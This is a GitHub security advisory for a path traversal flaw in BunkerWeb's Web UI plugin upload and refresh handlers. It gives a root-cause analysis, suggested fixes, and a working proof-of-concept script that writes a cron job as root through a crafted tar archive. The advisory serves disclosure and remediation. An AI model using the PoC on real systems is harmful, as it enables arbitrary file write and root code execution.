Skip to main content
Menu
Advisories

Security Vulnerability Report: Path Traversal in UI Plugin Refresh

GHSA-4WCX-XGV7-FJQ8Published Updated GitHub

Description

A path traversal vulnerability exists in BunkerWeb's Web UI plugin refresh functionality (src/ui/app/routes/plugins.py) that allows an authenticated user to write arbitrary files to the filesystem by uploading a crafted tar.gz plugin archive. On systems running Python < 3.12, the tar extraction fallback path performs no member path validation, enabling directory traversal via ../../ sequences in archive member names. This can lead to Remote Code Execution (RCE).

Root Cause Analysis

The vulnerability stems from two interacting code paths in src/ui/app/routes/plugins.py:

1. Missing Validation During Upload (Single-Plugin Archives)

In the upload_plugin function (POST /plugins/upload, line 410), archive member validation is only performed for multi-plugin archives:

# Line 443-458: Tar archive handling during upload
with tar_open(fileobj=plugin_file) as tar_file:
    for file in tar_file.getnames():
        if file.endswith("plugin.json"):
            plugins.append(basename(dirname(file)))
    if len(plugins) > 1:                              # <-- ONLY multi-plugin
        for member in tar_file.getmembers():
            if isabs(member.name) or ".." in member.name:
                return {"status": "ko"}, 422           # <-- Validation
        # ... extractall with filter="data" ...

if len(plugins) <= 1:                                  # <-- Single-plugin
    plugin_file.seek(0, 0)
    tmp_ui_path.joinpath(file_name).write_bytes(plugin_file.read())  # <-- NO validation
    return {"status": "ok"}, 201

When a tar.gz archive contains exactly one plugin.json (single-plugin archive), the code at lines 460-464 saves the raw archive bytes to disk without inspecting or validating the archive members. No check for absolute paths, .. sequences, or path traversal is performed.

2. Unvalidated Extraction During Refresh

In the plugins_refresh function (POST /plugins/refresh, line 216), the previously uploaded archive is extracted:

# Line 264-276: Tar archive extraction during refresh
with tar_open(str(tmp_ui_path.joinpath(file)), errorlevel=2) as tar_file:
    try:
        tar_file.getmember("plugin.json")
    except KeyError:
        is_dir = True
    try:
        # deepcode ignore TarSlip: We don't need to check for tar slip
        # as we are checking the files when they are uploaded
        tar_file.extractall(str(temp_folder_path), filter="data")
    except TypeError:
        # deepcode ignore TarSlip: We don't need to check for tar slip
        # as we are checking the files when they are uploaded
        tar_file.extractall(str(temp_folder_path))       # <-- VULNERABLE

Key issues:

  1. The deepcode ignore TarSlip comment states "we are checking the files when they are uploaded" — this is incorrect for single-plugin archives, which bypass all member validation during upload.
  2. On Python < 3.12, the filter="data" parameter is not recognized by tarfile.extractall(), causing a TypeError. The except TypeError fallback calls extractall() without any filter, performing completely unvalidated extraction.
  3. Python's tarfile.extractall() (without filter) does NOT prevent path traversal — members with ../../ in their names are extracted to paths outside the target directory.

Contrast With API Implementation

The API plugin upload handler (src/api/app/routers/plugins.py, lines 27-62) correctly implements path validation using a _safe_member_path() function that resolves paths and verifies they remain within the target directory:

def _safe_member_path(root: Path, member_name: str) -> Optional[Path]:
    try:
        if member_name.startswith("/"):
            return None
        target = (root / member_name).resolve()
        if not str(target).startswith(str(root.resolve())):
            return None
        return target
    except Exception:
        return None

This safe extraction function is used consistently in the API but is entirely absent from the UI plugin handling code, demonstrating that the developers were aware of the path traversal risk but did not apply the mitigation uniformly.

Exploitation Scenario

Prerequisites

  • Authenticated access to the BunkerWeb Web UI (admin account)
  • Target system running Python < 3.12 (common on Linux installations: Ubuntu 22.04, Debian 11/12, RHEL 9, Amazon Linux 2)

Steps to Reproduce

Step 1: Create a malicious tar.gz archive

import tarfile
import json
import io

# Create a minimal valid plugin.json
plugin_json = json.dumps({
    "id": "malicious",
    "name": "Malicious Plugin",
    "description": "PoC",
    "version": "1.0",
    "stream": "no",
    "settings": {}
}).encode()

with tarfile.open("malicious-plugin.tar.gz", "w:gz") as tar:
    # Add a valid plugin.json so the archive is recognized as a single-plugin archive
    info = tarfile.TarInfo(name="plugin.json")
    info.size = len(plugin_json)
    tar.addfile(info, io.BytesIO(plugin_json))

    # Add a path traversal member
    # Adjust the number of ../ based on the depth of temp_folder_path
    # temp_folder_path is typically /var/tmp/bunkerweb/ui/<archive_name>/
    payload = b"* * * * * root /bin/bash -c 'id > /tmp/pwned'\n"
    info = tarfile.TarInfo(name="../../../../etc/cron.d/bunkerweb-poc")
    info.size = len(payload)
    info.mode = 0o644
    tar.addfile(info, io.BytesIO(payload))

Step 2: Upload the archive via the Web UI

  1. Navigate to the BunkerWeb Web UI Plugins page
  2. Upload malicious-plugin.tar.gz via the plugin upload form
  3. The archive contains exactly one plugin.json, so len(plugins) <= 1 at line 460
  4. The archive is saved as raw bytes without member validation (line 463)

Step 3: Trigger extraction

  1. Click the "Refresh plugins" button in the Web UI
  2. The plugins_refresh handler extracts the archive at line 276
  3. On Python < 3.12: filter="data" raises TypeError → fallback extractall() runs
  4. The ../../../../etc/cron.d/bunkerweb-poc member is extracted to /etc/cron.d/bunkerweb-poc
  5. Cron executes the payload → RCE achieved

Impact

  • Arbitrary File Write: An attacker can write files to any location on the filesystem where the BunkerWeb process has write permissions.
  • Remote Code Execution: By writing to cron directories (/etc/cron.d/), systemd unit paths, or Python module paths, the attacker achieves code execution as root or the BunkerWeb service user.
  • Persistence: Written files persist across service restarts and can serve as backdoors.
  • Integrity Compromise: NGINX configuration files, TLS certificates, or database files can be overwritten.

Suggested Fix

Apply the same _safe_member_path() validation used in the API to the UI plugin handling. Specifically:

Fix 1: Validate members during reload_plugins extraction (line 264-276)

Replace the unvalidated extractall() with per-member validation:

with tar_open(str(tmp_ui_path.joinpath(file)), errorlevel=2) as tar_file:
    try:
        tar_file.getmember("plugin.json")
    except KeyError:
        is_dir = True
    for member in tar_file.getmembers():
        # Prevent absolute paths and path traversal
        if member.name.startswith("/") or ".." in Path(member.name).parts:
            LOGGER.error(f"Skipping dangerous path in archive: {member.name}")
            continue
        target = (temp_folder_path / member.name).resolve()
        if not str(target).startswith(str(temp_folder_path.resolve())):
            LOGGER.error(f"Path traversal detected: {member.name}")
            continue
        tar_file.extract(member, temp_folder_path)

Fix 2: Also validate single-plugin archives during upload (line 443-464)

Add member validation for single-plugin tar archives before saving:

with tar_open(fileobj=plugin_file) as tar_file:
    for file in tar_file.getnames():
        if file.endswith("plugin.json"):
            plugins.append(basename(dirname(file)))
    # Validate ALL archives, not just multi-plugin ones
    for member in tar_file.getmembers():
        if isabs(member.name) or ".." in member.name:
            return {"status": "ko"}, 422

Affected versions

References

GitHub · bunkerity/bunkerweb